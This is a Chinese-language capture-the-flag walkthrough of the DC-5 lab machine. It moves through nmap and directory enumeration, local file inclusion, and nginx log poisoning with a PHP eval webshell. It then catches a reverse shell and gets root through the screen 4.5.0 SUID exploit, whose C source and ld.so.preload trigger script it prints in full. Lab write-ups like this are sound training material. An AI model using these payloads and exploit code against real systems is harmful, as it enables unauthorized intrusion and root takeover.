DC-5靶机
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
一.明确目标
探测目标主机IP情况
nmap 192.168.153.0/24
目标主机IP:192.168.153.151
Kali的IP:192.168.153.129
二.信息搜集
Nmap 进行常规端口开放扫描
进行namp全端口服务枚举
nmap 192.168.153.151 -p- -A
可以看到开放了 http 80端口,111/tcp open rpcbind 2-4,42684/tcp open status 1
对该网站目录进行爆破枚举,利用到的是kali上的dirb:
dirb http://192.168.153.151
http://192.168.153.151/index.php
http://192.168.153.151/css/
http://192.168.153.151/images/
利用dirsearch进行目录扫描
dirsearch -u 192.168.153.151
发现一个特别目录footer.php,每刷新一次数字变化,即可能存在文件包含漏洞
尝试有没有其他文件包含
http://192.168.153.151/thankyou.php?file=/etc/passwd
发现可以包含/etc/passwd文件,所以我们尝试包含nginx的日志文件
每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/access.log和/var/log/nginx/error.log。我们尝试将一句话木马写入日志文件中。
注:(无论网站有什么操作,都会被记录在/var/log/nginx/access.log和/var/log/nginx/error.log里面)
http://192.168.153.151/thankyou.php?file=/var/log/nginx/access.log
# 访问这个文件时,有时会出现日志文件显示不出来的问题。这个是DC-5本身的bug。重置虚拟机可以解决。
三.漏洞利用
使用bp修改数据包数据,写入一句话木马
<?php eval($_REQUEST[666]); ?>
再使用蚁剑进行连接:
# 蚁剑的设置只需要*号的两项。
# 需要注意的是Shell pwd这一项应该和$_REQUEST的参数保持一致。点击测试连接,会出现连接成功的提示。
然后右键,点击Terminal就可以得到一个Shell。然后反弹回Kali。
┌──(root💀kali)-[~]
└─# nc -lvvp 8888
listening on [any] 8888 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.153.129] from bogon [192.168.153.151] 45877
拿到这个shell没有提示符,用python来解决。
python -c "import pty;pty.spawn('/bin/bash')"
四.SUID 提权
查找www-data用户具有suid权限的命令
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
#两个是相同意思,都可以查找
发现命令 /bin/screen-4.5.0
searchsploit screen 4.5.0
searchsploit -m 41154.sh #下载到Kali本地
靶机端下载,并给执行权限
chmod +777 41154.sh
发现运行失败!!!
查看41154.sh的源码。需要将文件拆分,我这里拆分为三个文件:
进入kali的/tmp文件夹下,创建三个文件,三个文件如下:
第一个文件:
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
第二个文件:
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
第三个文件:
getshell.sh
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
经过多次尝试编译,需要在其他Linux上编译好再上传到靶机上才可以运行!!!!!(这里是在centos7上编译的)
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
然后将这三个文件全部下载到靶机:
在centos7上开启网络服务
python3 -m http.server 80
然后运行getshell.sh
./getshell.sh运行
提权成功!!!!